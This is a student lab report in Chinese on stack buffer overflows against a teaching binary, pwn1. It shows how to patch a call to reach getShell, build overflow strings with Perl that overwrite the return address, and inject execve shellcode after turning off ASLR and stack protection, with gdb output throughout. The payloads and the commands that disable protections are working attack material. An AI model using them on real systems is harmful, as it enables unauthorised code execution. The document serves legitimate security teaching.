20192415 2021-2022-2 《网络与系统攻防技术》实验一实验报告

20192415 2021-2022-2 《网络与系统攻防技术》实验一实验报告

1.实验内容

1.1 实验要求

实践对象:一个名为pwn1的linux可执行文件(已改名为pwn20192415)。
程序正常执行流程:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。
正常情况下getShell是不会被运行的。实践目标就是想办法运行getShell。
实践内容:

  1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  3. 注入一个自己制作的shellcode并运行这段shellcode。

1.2 基础知识

1.2.1 汇编知识

  1. call:调用子程序。先将返回地址(EIP)压入栈顶,再将程序跳转到当前调用方法的起始地址。
    call=push eip + jump
  2. leave:关闭栈帧。栈指针指向帧指针,然后POP备份的原帧指针到%EBP。
    leave=mov %ebp %esp + pop %ebp
  3. ret:子程序的返回指令。栈顶的返回地址弹出到EIP,按照EIP此时指示的指令地址继续执行程序。
    ret=pop eip
  4. NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
  5. EIP:寄存器,存放CPU下一条要执行指令的内存地址。例如:主函数调用子函数,EIP指明子函数执行完后回到主函数中要执行的指令是哪一条。
  6. ESP:寄存器,存放栈顶指针,并且始终指向栈顶。
  7. EBP:寄存器,存放栈底指针。当调用子函数前,ESP将值传递给EBP,作为栈底;当子函数调用结束后,EBP将值传递给ESP,ESP再次指向栈顶。

1.2.2 Linux操作

  1. objdump -d:从objfile中反汇编那些特定指令机器码的section。
  2. "|":管道,将前者的输出作为后者的输入。
  3. ">":输入输出重定向符,将前者输出的内容输入到后者中。
  4. more:分页显示文件内容。
  5. perl:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。“perl -e”后面紧跟单引号括起来的字符串,表示在命令行要执行的命令;使用输出重定向“>”可将perl生成的字符串存储到文件中。
  6. xxd:为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。
  7. ps -ef:显示所有进程,并显示每个进程的UID,PPIP,C与STIME栏位。

1.2.3 其他

  1. 小端模式:数据高字节保存在内存高地址,数据低字节保存在内存低地址。
  2. 大端模式:数据高字节保存在内存低地址,数据低字节保存在内存高地址,和阅读习惯一致。
  3. 栈:LIFO,栈顶低栈底高,增长方向由高地址向低地址,指令执行方向从低地址到高地址。
  4. shellcode:一段机器指令(code)。通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
  5. ASLR:Address Space Layout Randomization,地址空间布局随机化。这是一种针对缓冲区溢出的安全保护技术。借助ASLR,文件每次加载到内存的起始地址都会随机变化。

2.实验过程

2.1 直接修改程序机器指令,改变程序执行流程

2.1.1 对目标文件pwn20192415反汇编,观察函数地址

objdump -d pwn20192415 | more	#反汇编文件pwn20192415的代码段,并分页显示
/getShell			#寻找getShell函数所在地址

main函数中,汇编指令"call 8048491 "将调用位于地址8048491处的foo函数。
对应机器指令为“e8 d7ffffff”,e8即“跳转”,CPU将执行地址为“EIP + d7ffffff”处指令。
从核心代码可知,foo函数的地址为0x8048491,则跳转时EIP=0x8048491-0xffffffd7=80484ba。

2.1.2 更改e8指令跳转地址

现在我们希望main调用getShell函数,则需要改变“e8”后的值。
从核心代码可知,getShell函数的地址为0x804847d,0x804847d-0x80484ba=0xffffffc3,所以应将“e8”后的值更改为“c3ffffff”,也就是需要把“d7”改为“c3”。

vi pwn20192415			#进入目标文件
:%!xxd				#转换为16进制
/d7				#查找要修改的内容,
rcr3				#用r将“d7”修改为c3
:%!xxd -r 			#转换16进制为原格式
:wq				#保存退出
objdump -d pwn20192415 | more	#反汇编查修改是否正确

修改完成后,函数汇编指令如图:

2.1.3 实验效果

再次运行pwn20192415,程序执行流程改变。
原先程序输入字符串会回显,现在会出现一个shell、可以输入任何指令。

2.2 构造输入参数,造成BOF攻击

2.2.1 对目标文件pwn20192415反汇编,观察漏洞

文件反汇编结果与2.1.1相同,观察代码并分析栈的内容。

08048491 <foo>:
 8048491:	55                   	push   %ebp
 8048492:	89 e5                	mov    %esp,%ebp
 8048494:	83 ec 38             	sub    $0x38,%esp	#预留0x38(56字节)给局部变量
 8048497:	8d 45 e4             	lea    -0x1c(%ebp),%eax	#预留0x1c(28字节)给“gets”得到的字符串
 804849a:	89 04 24             	mov    %eax,(%esp)	#读入字符串,超出部分溢出
 804849d:	e8 8e fe ff ff       	call   8048330 <gets@plt>
 80484a2:	8d 45 e4             	lea    -0x1c(%ebp),%eax
 80484a5:	89 04 24             	mov    %eax,(%esp)
 80484a8:	e8 93 fe ff ff       	call   8048340 <puts@plt>
 80484ad:	c9                   	leave  
 80484ae:	c3                   	ret 

080484af <main>:
 80484af:	55                   	push   %ebp
 80484b0:	89 e5                	mov    %esp,%ebp
 80484b2:	83 e4 f0             	and    $0xfffffff0,%esp
 80484b5:	e8 d7 ff ff ff       	call   8048491 <foo>	#调用foo,同时在堆栈上压上返回地址80484ba
 80484ba:	b8 00 00 00 00       	mov    $0x0,%eax
 80484bf:	c9                   	leave  
 80484c0:	c3                   	ret    
 80484c1:	66 90                	xchg   %ax,%ax
 ··············

观察可知,该函数预留0x38(56字节)给局部变量,预留0x1c(28字节)给“gets”得到的字符串。
若gets中得到的字符串长于32字节(28——0x1c + 4——EBP),则会覆盖到EIP位置。
只要我们构造的字符串能够溢出到EIP所在位置,将其中的返回地址“80484ba”覆盖为getShell函数的地址“804847d”,则程序执行完foo函数后将返回到getShell函数去执行。

2.2.2 确认输入字符串哪几个字符会覆盖到返回地址

使用gdb进行调试,输入“r”运行代码。

gdb pwn20192415		#进入gdb,调试程序pwn20192415

输入长度为36字节的字符串“12345abcdefghijklmnopqrstuvwxyz67890”,回显后提示发生段错误。

(gdb) r
Starting program: /root/pwn20192415 
12345abcdefghijklmnopqrstuvwxyz67890
12345abcdefghijklmnopqrstuvwxyz67890

Program received signal SIGSEGV, Segmentation fault.
0x30393837 in ?? ()

查看当前所有寄存器的值,其中EIP的值为“0x30393837”,对应字符“0987”,正是我们输入的第33~36个字节的内容。

(gdb) info r		#显示寄存器的值	
eax            0x25                37
ecx            0xf7fad890          -134555504
edx            0x25                37
ebx            0x0                 0
esp            0xffffd360          0xffffd360
ebp            0x367a7978          0x367a7978
esi            0xf7fac000          -134561792
edi            0xf7fac000          -134561792
eip            0x30393837          0x30393837
eflags         0x10246             [ PF ZF IF RF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99

因此,可以判断输入的第33~36个字节的内容会覆盖到栈上的返回地址,进而CPU会尝试运行这个位置的代码。
那么,只要将这四个字节的内容替换为getShell的内存地址“804847d”,pwn20192415就会运行getShell。

2.2.3 确认字节序,构造字符串

输入为“7890”时EIP的值为“0x30393837”,说明字节序是小端优先。
想要得到“0804847d”,输入顺序应该为“7d 84 04 08”,也即为“32个字符+\x7d\x84\x04\x08”。
但“\x7d\x84\x04\x08”无法通过键盘输入,要用程序来完成(Perl)。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input20192415	#把这一串字符存在文件input20192415中(0a即回车,若没有则程序运行时需要手工按)
xxd input20192415	#验证构造的字符串是否符合预期

2.2.4 实验效果

(cat input20192415; cat) | ./pwn20192415	#通过管道符,将input20192415作为pwn20192415的输入

2.3 注入Shellcode并执行

2.3.1 准备shellcode

shellcode就是一段机器指令(code)。
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

本次实验直接使用许心远学姐编写好的shellcode,如下:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
#这是一段实现shell返回的shellcode

2.3.2 修改设置,堆栈可执行,关闭地址随机化

修改设置:

apt-get install execstack			#安装execstack
execstack -s pwn20192415   			#设置堆栈可执行 
echo "0" > /proc/sys/kernel/randomize_va_space 	#关闭地址随机化

ASLR(Address Space Layout Randomization,地址空间布局随机化)是一种针对缓冲区溢出的安全保护技术。借助ASLR,文件每次加载到内存的起始地址都会随机变化。
/proc/sys/kernel/randomize_va_space用于控制Linux下内存地址随机化机制,有以下三种情况:
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。

查看设置效果:

execstack -q pwn20192415     		#查询文件的堆栈是否可执行
X pwn20192415
more /proc/sys/kernel/randomize_va_space 
0

2.3.3 构造要注入的payload

linux下有两种基本构造攻击buf的方法:

retaddr+nop+shellcode		#本次实验真正使用的是anything+retaddr+nops+shellcode
nop+shellcode+retaddr

retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单来说,缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。

本次实验我们使用的是构造方法是 anything+retaddr+nops+shellcode 。
要做的第一步是确定retaddr的内存地址和应存放的内容。
先以如下内容作为输入,进行gdb调试并查看寄存器的变化过程:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode20192415
#此处结尾必须为“\x00”,通过人工输入回车使foo函数继续执行,便于断点的设置

在一个终端中运行pwn20192415,在另一个终端中进行gdb调试:

(cat input_shellcode20192415;cat) | ./pwn20192415	#打开一个终端注入攻击buff
ps -ef | grep pwn20192415				#找到pwn20192415进程号
gdb							#启动gdb调试进程

调试过程如下:

(gdb) attach 1785
Attaching to process 1785
······
0xf7fd3079 in __kernel_vsyscall ()
(gdb) disassemble foo						#设置断点
Dump of assembler code for function foo:
   0x08048491 <+0>:	push   %ebp
   0x08048492 <+1>:	mov    %esp,%ebp
   0x08048494 <+3>:	sub    $0x38,%esp
   0x08048497 <+6>:	lea    -0x1c(%ebp),%eax
   0x0804849a <+9>:	mov    %eax,(%esp)
   0x0804849d <+12>:	call   0x8048330 <gets@plt>
   0x080484a2 <+17>:	lea    -0x1c(%ebp),%eax
   0x080484a5 <+20>:	mov    %eax,(%esp)
   0x080484a8 <+23>:	call   0x8048340 <puts@plt>
   0x080484ad <+28>:	leave  
   0x080484ae <+29>:	ret    
End of assembler dump.
(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae
(gdb) c
Continuing.

Breakpoint 1, 0x080484ae in foo ()
(gdb) info r
eax            0x25                37
ecx            0xf7fad890          -134555504
edx            0x25                37
ebx            0x0                 0
esp            0xffffd37c          0xffffd37c
ebp            0x9080cd0b          0x9080cd0b
esi            0xf7fac000          -134561792
edi            0xf7fac000          -134561792
eip            0x80484ae           0x80484ae <foo+29>
eflags         0x246               [ PF ZF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
(gdb) si							#单步执行观察esp和eip的变化
0x01020304 in ?? ()
(gdb) info r
eax            0x25                37
ecx            0xf7fad890          -134555504
edx            0x25                37
ebx            0x0                 0
esp            0xffffd380          0xffffd380
ebp            0x9080cd0b          0x9080cd0b
esi            0xf7fac000          -134561792
edi            0xf7fac000          -134561792
eip            0x1020304           0x1020304
eflags         0x246               [ PF ZF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
(gdb) x/16x 0xffffd380						#以16进制显示16个字符
0xffffd380:	0xf7fa0000	0xf7fac000	0x00000000	0xf7decb41
0xffffd390:	0x00000001	0xffffd424	0xffffd42c	0xffffd3b4
0xffffd3a0:	0x00000001	0x00000000	0xf7fac000	0xffffffff
0xffffd3b0:	0xf7ffd000	0x00000000	0xf7fac000	0xf7fac000
(gdb) x/16x 0xffffd37c
0xffffd37c:	0x01020304	0xf7fa0000	0xf7fac000	0x00000000
0xffffd38c:	0xf7decb41	0x00000001	0xffffd424	0xffffd42c
0xffffd39c:	0xffffd3b4	0x00000001	0x00000000	0xf7fac000
0xffffd3ac:	0xffffffff	0xf7ffd000	0x00000000	0xf7fac000
(gdb) x/16x 0xffffd35c
0xffffd35c:	0x90909090	0xc0319090	0x2f2f6850	0x2f686873
0xffffd36c:	0x896e6962	0x895350e3	0xb0d231e1	0x9080cd0b
0xffffd37c:	0x01020304	0xf7fa0000	0xf7fac000	0x00000000
0xffffd38c:	0xf7decb41	0x00000001	0xffffd424	0xffffd42c

由调试过程可知,输入字符的前32字节将从内存地址0xffff5c开始填充,33~36字节将从0xffff7c处开始填充,36字节之后将从0xffff80处开始填充。
同时,0xffff7c处开始的4个字节将作为EIP返回地址,这就是我们寻找的retaddr的内存地址。
而retaddr的内容,即输入字符的33~36字节内容,应该指向构造的shellcode。
我们可以将shellcode放置在输入字符的第36字节之后,当其装入内存后,0xffff80就是shellcode的起始地址(即retaddr的内容、输入字符的33~36字节内容)。

综上,最终构造的输入字符如下:

perl -e 'print "A" x 32;print "\x80\xd3\xff\xff\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode20192415_2
#若结尾使用“\x00”,运行程序后输入回车进入shell;若结尾使用“\x0a”,运行程序后直接进入shell

2.3.4 实验效果

3.问题及解决方案

  • 问题1:内存地址不断变动,原先shellcode注入成功重新开机后失败。

  • 问题1解决方案:每次开机后,必须重新关闭地址可随机化。

  • 问题2:文件没有运行权限。

  • 问题2解决方案:

      ls -alh			#查看权限
      chmod +x pwn20192415 	#增加执行权限
    

  • 问题3:构造方式nop+shellcode+retaddr为什么没成功?

  • 问题3原因:使用构造方式nop+shellcode+retaddr,其中“nop+shellcode”占输入字符的前32字节,“retaddr”占后4字节。
    构造字符为:

    perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x5c\xd3\xff\xff\x00"' > input_shellcode
    

实际运行过程中该方式未成功,进行单步调试查找原因,程序能够跳转到shellcode,问题出现在shellcode中的“push %ebx”。
可能是代码也栈上,当前栈顶也在这,push后就把指令给覆盖了,非常巧合。

  • 问题4:为什么使用“(cat inputxxxx; cat)”来作为执行文件的输入?为什么使用“(cat inputxxxx)”或“(cat inputxxxx;)”时会发生段错误?
  • 问题4解决方案:未解决

4.学习感悟

通过本次实现,我不仅实现了缓冲区溢出漏洞攻击,而且理解了调用函数时栈和寄存器的变化过程。
三个实践内容步步深入,使我逐渐熟悉了汇编语言、机器指令,增强了分析汇编指令执行过程的能力。
但这次实验也反映出,我对Linux命令、汇编知识的学习掌握还不够深入与熟练,需要继续不断学习不断巩固。
同时,本次实验是在“关闭堆栈执行保护、关闭地址随机化”的条件下才成功实现了缓冲区溢出漏洞攻击,如果抛开这样的条件限制,是否能够实现缓冲区溢出漏洞攻击、应该如何实现?还有许多内容需要学习。
感谢实验过程中老师的教导指导、同学的讨论互助,未来我们一起努力一起进步!

5.参考资料

posted @ 2022-03-26 02:47  20192415邢质斌  阅读(189)  评论(0编辑  收藏  举报